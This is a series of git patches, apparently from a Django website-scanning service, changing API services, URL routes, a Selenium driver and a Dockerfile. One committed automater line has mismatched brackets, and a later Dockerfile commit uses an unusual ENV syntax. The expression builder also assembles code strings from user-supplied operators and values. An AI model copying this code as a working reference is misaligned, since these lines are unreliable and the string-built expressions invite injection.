@@ -4173,7 +4536,7 @@ def create_or_update_case(request: object) -> object:
         # save updates
         case.save()
     
-    # create case
+    # create Case
     if not case:
 
         # generate new uuid
@@ -4182,7 +4545,7 @@ def create_or_update_case(request: object) -> object:
         # save step data in s3
         steps_data = save_case_steps(steps, case_id)
         
-        # create new case
+        # create new Case
         case = Case.objects.create(
             id = case_id,
             user = request.user,
@@ -4194,6 +4557,21 @@ def create_or_update_case(request: object) -> object:
             account = account
         )
 
+        # create process obj
+        process = Process.objects.create(
+            site=site,
+            type='case.pre_run',
+            object_id=str(case.id),
+            account=account,
+            progress=1
+        )
+
+        # start pre_run for new Case
+        case_pre_run_bg.delay(
+            case_id=str(case.id),
+            process_id=str(process.id)
+        )
+
     # serialize and return
     serializer_context = {'request': request,}
     data = CaseSerializer(case, context=serializer_context).data
@@ -4454,7 +4832,7 @@ def create_auto_cases(request: object) -> object:
     # create process obj
     process = Process.objects.create(
         site=site,
-        type='case',
+        type='case.generate',
         account=account,
         progress=1
     )
@@ -4739,7 +5117,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
     )
 
     # pass the newly created Testcase to the backgroud task to run
-    create_testcase_bg.delay(testcase_id=testcase.id)
+    run_testcase.delay(testcase_id=testcase.id)
 
     # serialize and return
     serializer_context = {'request': request,}
@@ -4990,6 +5368,7 @@ def get_processes(request: object) -> object:
     site_id = request.query_params.get('site_id')
     process_id = request.query_params.get('process_id')
     _type = request.query_params.get('type')
+    object_id = request.query_params.get('object_id')
 
     # get user and account
     user = request.user
@@ -5025,10 +5404,12 @@ def get_processes(request: object) -> object:
 
     # get processes scoped to accout and/or type
     if site_id is None and process_id is None:
-        if _type is None:
+        if _type is None and object_id is None:
             processes = Process.objects.filter(account=account).order_by('-time_created')
         if _type is not None:
             processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
+        if object_id is not None:
+            processes = Process.objects.filter(account=account, object_id=object_id).order_by('-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
@@ -5193,7 +5574,7 @@ def search_resources(request: object) -> object:
     Returns:
         data -> [
             {
-                'name': <str>,
+                'str' : <str>,
                 'type': <str>,
                 'path': <str>,
                 'id'  : <str>,
@@ -5245,7 +5626,7 @@ def search_resources(request: object) -> object:
     max_sites = 10 if resource_type == 'site' else 3
     while i <= max_sites and i <= (len(sites)-1):
         data.append({
-            'name': str(sites[i].site_url),
+            'str': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
             'id'  : str(sites[i].id),
             'type': 'site',
@@ -5257,7 +5638,7 @@ def search_resources(request: object) -> object:
     max_pages = 10 if resource_type == 'page' else 3
     while i <= max_pages and i <= (len(pages)-1):
         data.append({
-            'name': str(pages[i].page_url),
+            'str': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',
             'id'  : str(pages[i].id),
             'type': 'page',
@@ -5269,7 +5650,7 @@ def search_resources(request: object) -> object:
     max_cases = 10 if resource_type == 'case' else 3
     while i <= max_cases and i <= (len(cases)-1):
         data.append({
-            'name': str(cases[i].name),
+            'str': str(cases[i].name),
             'path': f'/case/{cases[i].id}',
             'id'  : str(cases[i].id),
             'type': 'case',
@@ -5281,7 +5662,7 @@ def search_resources(request: object) -> object:
     max_issues = 10 if resource_type == 'issue' else 3
     while i <= max_issues and i <= (len(issues)-1):
         data.append({
-            'name': str(issues[i].title),
+            'str': str(issues[i].title),
             'path': f'/issue/{issues[i].id}',
             'id'  : str(issues[i].id),
             'type': 'issue',
@@ -5315,29 +5696,16 @@ def get_home_metrics(request: object) -> object:
     # get user, account, sites, & issues
     user = request.user
     account = Member.objects.get(user=user).account
-    sites = Site.objects.filter(account=account)
-    issues = Issue.objects.filter(account=account, status='open')
+    sites = Site.objects.filter(account=account).count()
+    issues = Issue.objects.filter(account=account, status='open').count()
+    schedules = Schedule.objects.filter(account=account).count()
     
-    # setting defaults
-    issues = issues.count()
+    # setting resource defaults
     tests = account.usage['tests']
     scans = account.usage['scans']
     testcases = account.usage['testcases']
-    schedules = 0
-
-    # calculating metrics
-    for site in sites:
-        schedules += Schedule.objects.filter(site=site).count()
-
-        # getting associated pages
-        pages = Page.objects.filter(site=site)
-
-        # adding page scoped schedules 
-        for page in pages:
-            schedules += Schedule.objects.filter(page=page).count()
 
     # calculate usages
-    sites = sites.count()
     sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
     schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
@@ -5388,31 +5756,29 @@ def get_site_metrics(request: object) -> object:
     pages = Page.objects.filter(site=site)
 
     # setting detaults
-    # testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
-    # tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
-    # scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
     tests = account.usage['tests']
     scans = account.usage['scans']
     testcases = account.usage['testcases']
-    schedules = Schedule.objects.filter(site=site).count()
+    schedules = Schedule.objects.filter(
+        resources__icontains=str(site.id), scope='site',
+        account=account
+    ).count()
 
     # calculating page scoped schedules
     for page in pages:
-        schedules += Schedule.objects.filter(page=page).count()
-    
+        schedules += Schedule.objects.filter(
+            resources__icontains=str(page.id), scope='page',
+            account=account
+        ).count()
+        
     # calculate usage
     pages = pages.count()
     pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
-    # scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
-    # tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
-    # testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
-    # schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
     schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
     testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
 
-
     # format data
     data = {
         "pages": pages, 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index be335639..f83a2aef 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -37,11 +37,16 @@
     path('issue', views.Issues.as_view(), name='issue'),
     path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
+    path('issues/update', views.IssuesUpdate.as_view(), name='issues-update'),
+    path('issues/delete', views.IssuesDelete.as_view(), name='issues-delete'),
     path('issues/zapier', views.IssuesZapier.as_view(), name='issues-zapier'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
     path('schedule', views.Schedules.as_view(), name='schedule'),
     path('schedule/<uuid:id>', views.ScheduleDetail.as_view(), name='schedule-detail'),
+    path('schedule/run', views.ScheduleRun.as_view(), name='schedule-run'),
+    path('schedules/update', views.SchedulesUpdate.as_view(), name='schedule-update'),
+    path('schedules/delete', views.SchedulesDelete.as_view(), name='schedule-delete'),
     path('automation', views.Automations.as_view(), name='automation'),
     path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
     path('process', views.Processes.as_view(), name='process'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index e76ddbdb..b8f8f894 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -343,6 +343,39 @@ def delete(self, request, id):
 
 
 
+class ScheduleRun(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = run_schedule(request)        
+        return response
+
+
+
+
+class SchedulesUpdate(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = update_many_schedules(request)
+        return response
+
+
+
+
+class SchedulesDelete(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_schedules(request)
+        return response
+
+
+
+
 ### ------ Begin Automation Views ------ ###
 
 
@@ -595,6 +628,28 @@ def delete(self, request, id):
 
 
 
+class IssuesUpdate(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = update_many_issues(request)
+        return response
+
+
+
+
+class IssuesDelete(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_issues(request)
+        return response
+
+
+
+
 class IssuesZapier(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']

From 92d3eccc2f0d1f0a46135562948d264a0ee09971 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 11:21:48 -0600
Subject: [PATCH 0685/1099] trying to fix command timeout issues

---
 .github/workflows/dev-deploy.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 562c84d7..db126a09 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -25,6 +25,7 @@ jobs:
         host: ${{ secrets.DEV_HOST }}
         username: ${{ secrets.DEV_USER }}
         key: ${{ secrets.DEV_KEY }}
+        command_timeout: 30m
         script: | 
           cd ~/app
           git pull origin dev

From 591e801974db9d6b1f74aa191c3b8b62e676fd93 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 11:51:08 -0600
Subject: [PATCH 0686/1099] testing premissions issues

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index f9d56e33..8f5f90ea 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -56,7 +56,7 @@ COPY ./app /app
 WORKDIR /app
 
 # setting ownership
-RUN chown -R app:app /app
+RUN chown -R app:app .
 RUN chown -R app:app /usr/bin/firefox
 RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable

From f5990a14ad5cf70cefdbc562b903493e1636aa91 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 12:02:13 -0600
Subject: [PATCH 0687/1099] testing permissions issue

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8f5f90ea..1e1bd8df 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -48,7 +48,7 @@ RUN npm install -g lodash yellowlabtools
 
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3.12 -m pip install -r /requirements.txt
+RUN python3.12 -m pip install --user -r /requirements.txt
 
 # setting working dir
 RUN mkdir /app
@@ -56,7 +56,7 @@ COPY ./app /app
 WORKDIR /app
 
 # setting ownership
-RUN chown -R app:app .
+RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/firefox
 RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable

From 9648ca622c55d81343a60b46fbd6f4563eee1abd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 12:33:09 -0600
Subject: [PATCH 0688/1099] testing again

---
 Dockerfile | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 1e1bd8df..c1e0bd89 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -46,9 +46,14 @@ RUN npm install -g lighthouse lighthouse-plugin-crux
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools
 
+# virtual env 
+ENV VIRTUAL_ENV /opt/venv
+RUN python3 -m venv $VIRTUAL_ENV
+ENV PATH "$VIRTUAL_ENV/bin:$PATH"
+
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3.12 -m pip install --user -r /requirements.txt
+RUN python3.12 -m pip install -r /requirements.txt
 
 # setting working dir
 RUN mkdir /app
@@ -63,7 +68,7 @@ RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
 
-# setting user
+# setting userc
 USER app
 
 # staring up services

From 6db8fa86ecf64c5011c6e8283c34e74cc6bb6458 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 14:09:48 -0600
Subject: [PATCH 0689/1099] updated for permissions fixes

---
 Dockerfile | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c1e0bd89..aab88a73 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,15 +1,19 @@
 # pull main python image
 FROM python:3.12-slim
 
+# adding labels
+LABEL Author="Scanerr" Support="hello@scanerr.io"
+
 # setting ENVs and Configs
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 ENV DOCKERIZED yes
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
-
-# adding labels
-LABEL Author="Scanerr" Support="hello@scanerr.io"
+ENV MOZ_DISABLE_AUTO_SAFE_MODE 1
+ENV MOZ_NO_REMOTE 1
+ENV HOME /app
+ENV XDG_CACHE_HOME $HOME/.cache
 
 # create the app user
 RUN addgroup --system app && adduser --system app
@@ -46,11 +50,6 @@ RUN npm install -g lighthouse lighthouse-plugin-crux
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools
 
-# virtual env 
-ENV VIRTUAL_ENV /opt/venv
-RUN python3 -m venv $VIRTUAL_ENV
-ENV PATH "$VIRTUAL_ENV/bin:$PATH"
-
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
@@ -60,6 +59,10 @@ RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 
+# setting extra dirs
+RUN mkdir -p /app/.mozilla \
+    && mkdir -p /app/.cache
+
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/firefox
@@ -67,8 +70,12 @@ RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
+RUN chown -R app:app /tmp
+
+# cleaning up
+RUN apt-get clean && rm -rf /var/lib/apt/lists/*
 
-# setting userc
+# setting user
 USER app
 
 # staring up services

From cfeca45b827308651ab08b982f85c581dbdeaf8f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 14:10:28 -0600
Subject: [PATCH 0690/1099] adding new .configs .cache dirs to .gitignore

---
 .gitignore | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/.gitignore b/.gitignore
index 82919490..e1253eb3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -21,3 +21,9 @@ app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
 k8s/prod/old_configs/*
 
+app/chromedriver*
+
+app/.cache*
+app/.config*
+app/.local*
+app/.pki*

From d82eb744a16d6bfcdffb98648754ad0bc0715415 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 14:29:57 -0600
Subject: [PATCH 0691/1099] removed mkdir for /app

---
 Dockerfile | 1 -
 1 file changed, 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index aab88a73..82ae66f6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -55,7 +55,6 @@ COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
 # setting working dir
-RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 

From e8340454b5dda76eaba5e0862736317e287b9d93 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 15:19:58 -0600
Subject: [PATCH 0692/1099] added profile to firefox driver

---
 app/api/utils/driver.py | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 3ee5b770..9df25e54 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -1,7 +1,9 @@
 from selenium import webdriver
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
+from selenium.webdriver.firefox.options import Options
+from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
 from datetime import datetime
-import time, os, sys
+import time, os, sys, tempfile
 
 
 
@@ -94,10 +96,15 @@ def driver_init(
     
     # setting broswer options for firefox
     if browser == 'firefox':
+        # setting profile 
+        temp_profile_dir = tempfile.mkdtemp()
+        ff_profile = FirefoxProfile(temp_profile_dir)
+        # adding arguments
         options.add_argument("-headless")
         options.page_load_strategy = 'none'
         options.set_preference("accept_insecure_certs", True)
         options.set_preference('layout.css.devPixelsPerPx', str(scale_factor))
+        options.profile = ff_profile
 
         # setting to mobile if reqeusted
         if device == 'mobile':

From 351867fa672f8b7e72e0af1e4c590dce4ccdec59 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 15:20:20 -0600
Subject: [PATCH 0693/1099] fixde some formatting issues

---
 app/api/utils/automater.py | 78 +++++++++++++++++++-------------------
 app/api/v1/ops/services.py | 29 ++++++++++++--
 2 files changed, 64 insertions(+), 43 deletions(-)

diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 83f9ae5e..c10c8a2e 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -121,9 +121,9 @@ def build_exp_list(self) -> None:
             if 'test_score' in expression['data_type']:
                 data_type = 'float(self.object.score)'
             elif 'current_health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse_delta["scores"]["current_average"]) + float(self.object.yellowlab_delta["scores"]["current_average"]))/2)'
+                data_type = '((float(self.object.lighthouse_delta["scores"].get("current_average",0)) + float(self.object.yellowlab_delta["scores"].get("current_average",0)))/2)'
             elif 'avg_image_score' in expression['data_type']:
-                data_type = 'float(self.object.images_delta["average_score"])'
+                data_type = 'float(self.object.images_delta.get("average_score",0))'
             elif 'image_scores' in expression['data_type']:
                 data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
                 exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
@@ -132,89 +132,89 @@ def build_exp_list(self) -> None:
 
             # high-level scan data
             elif 'health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse["scores"]["average"]) + float(self.object.yellowlab["scores"]["globalScore"]))/2)'
+                data_type = '((float(self.object.lighthouse["scores"].get("average"]) + float(self.object.yellowlab["scores"].get("globalScore"]))/2)'
             elif 'logs' in expression['data_type']:
                 data_type = 'len(self.object.logs)'
             
             # LH test data
             elif 'current_lighthouse_average' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["current_average"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("current_average",0))'
             elif 'seo_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["seo_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("seo_delta",0))'
             elif 'pwa_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["pwa_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("pwa_delta",0))'
             elif 'crux_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["crux_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("crux_delta",0))'
             elif 'best_practices_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["best_practices_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("best_practices_delta", 0))'
             elif 'performance_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["performance_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("performance_delta",0))'
             elif 'accessibility_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["accessibility_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("accessibility_delta",0))'
             
             # LH scan data
             elif 'lighthouse_average' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["average"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("average",0))'
             elif 'seo' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["seo"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("seo",0))'
             elif 'pwa' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["pwa"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("pwa",0))'
             elif 'crux' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["crux"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("crux",0))'
             elif 'best_practices' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["best_practices"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("best_practices",0))'
             elif 'performance' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["performance"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("performance",0))'
             elif 'accessibility' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["accessibility"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("accessibility",0))'
 
             # YL test data
             elif 'current_yellowlab_average' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["current_average"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("current_average",0))'
             elif 'pageWeight_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["pageWeight_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("pageWeight_delta",0))'
             elif 'images_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["images_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("images_delta",0))'
             elif 'domComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["domComplexity_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("domComplexity_delta",0))'
             elif 'javascriptComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["javascriptComplexity_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("javascriptComplexity_delta",0))'
             elif 'badJavascript_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["badJavascript_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("badJavascript_delta",0))'
             elif 'jQuery_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["jQuery_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("jQuery_delta",0))'
             elif 'cssComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["cssComplexity_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("cssComplexity_delta",0))'
             elif 'badCSS_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["badCSS_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("badCSS_delta",0))'
             elif 'fonts_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["fonts_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("fonts_delta",0))'
             elif 'serverConfig_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["serverConfig_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("serverConfig_delta",0))'
             
             # LH scan data
             elif 'yellowlab_average' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["globalScore"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("globalScore",0))'
             elif 'pageWeight' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["pageWeight"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("pageWeight",0))'
             elif 'images' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["images"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("images",0))'
             elif 'domComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["domComplexity"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("domComplexity",0))'
             elif 'javascriptComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["javascriptComplexity"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("javascriptComplexity",0))'
             elif 'badJavascript' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["badJavascript"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("badJavascript",0))'
             elif 'jQuery' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["jQuery"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("jQuery",0))'
             elif 'cssComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["cssComplexity"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("cssComplexity",0))'
             elif 'badCSS' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["badCSS"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("badCSS",0))'
             elif 'fonts' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["fonts"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("fonts",0))'
             elif 'serverConfig' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["serverConfig"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("serverConfig",0))'
             
             # building exp if not defiined
             if exp is None:
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e5f8b908..b58b132f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5755,10 +5755,31 @@ def get_site_metrics(request: object) -> object:
     max_sites = account.max_sites
     pages = Page.objects.filter(site=site)
 
-    # setting detaults
-    tests = account.usage['tests']
-    scans = account.usage['scans']
-    testcases = account.usage['testcases']
+    # get last reset day 
+    f = '%Y-%m-%d %H:%M:%S.%f'
+    last_usage_date_str = account.meta.get('last_usage_reset')
+    last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
+    last_usage_date = datetime.strptime(last_usage_date_str, f)
+    
+    # get scans
+    scans = Scan.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get tests
+    tests = Test.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get testcases
+    testcases = Testcase.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get site scoped schedules
     schedules = Schedule.objects.filter(
         resources__icontains=str(site.id), scope='site',
         account=account

From 31e18da8d440cc66cb954a4a5347ac09c05e5bf9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 15:48:41 -0600
Subject: [PATCH 0694/1099] trying new migrations permissions issue

---
 Dockerfile | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Dockerfile b/Dockerfile
index 82ae66f6..baa72aad 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -70,6 +70,8 @@ RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /tmp
+RUN chown -R app:app /app/api/migrations
+RUN chmod -R 755 /app/api/migrations
 
 # cleaning up
 RUN apt-get clean && rm -rf /var/lib/apt/lists/*

From 95948efc88df9d20d4108793ee2910e1dfb7b7aa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:08:28 -0600
Subject: [PATCH 0695/1099] testing

---
 Dockerfile                  | 51 ++++++++++++++++++++++++++-----------
 setup/scripts/entrypoint.sh |  6 ++++-
 2 files changed, 41 insertions(+), 16 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index baa72aad..7dccc898 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -5,24 +5,46 @@ FROM python:3.12-slim
 LABEL Author="Scanerr" Support="hello@scanerr.io"
 
 # setting ENVs and Configs
-ENV PYTHONUNBUFFERED 1
-ENV DEBIAN_FRONTEND noninteractive
-ENV DOCKERIZED yes
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
-ENV MOZ_DISABLE_AUTO_SAFE_MODE 1
-ENV MOZ_NO_REMOTE 1
-ENV HOME /app
-ENV XDG_CACHE_HOME $HOME/.cache
+ENV HOME =                              /app
+ENV XDG_CACHE_HOME =                    $HOME/.cache
+ENV DOCKERIZED =                        yes
+ENV DEBIAN_FRONTEND =                   noninteractive
+ENV PYTHONUNBUFFERED =                  1
+ENV MOZ_NO_REMOTE =                     1
+ENV MOZ_DISABLE_AUTO_SAFE_MODE =        1
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD =  true 
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE =     /usr/bin/google-chrome-stable
+
 
 # create the app user
 RUN addgroup --system app && adduser --system app
 
 # installing system deps
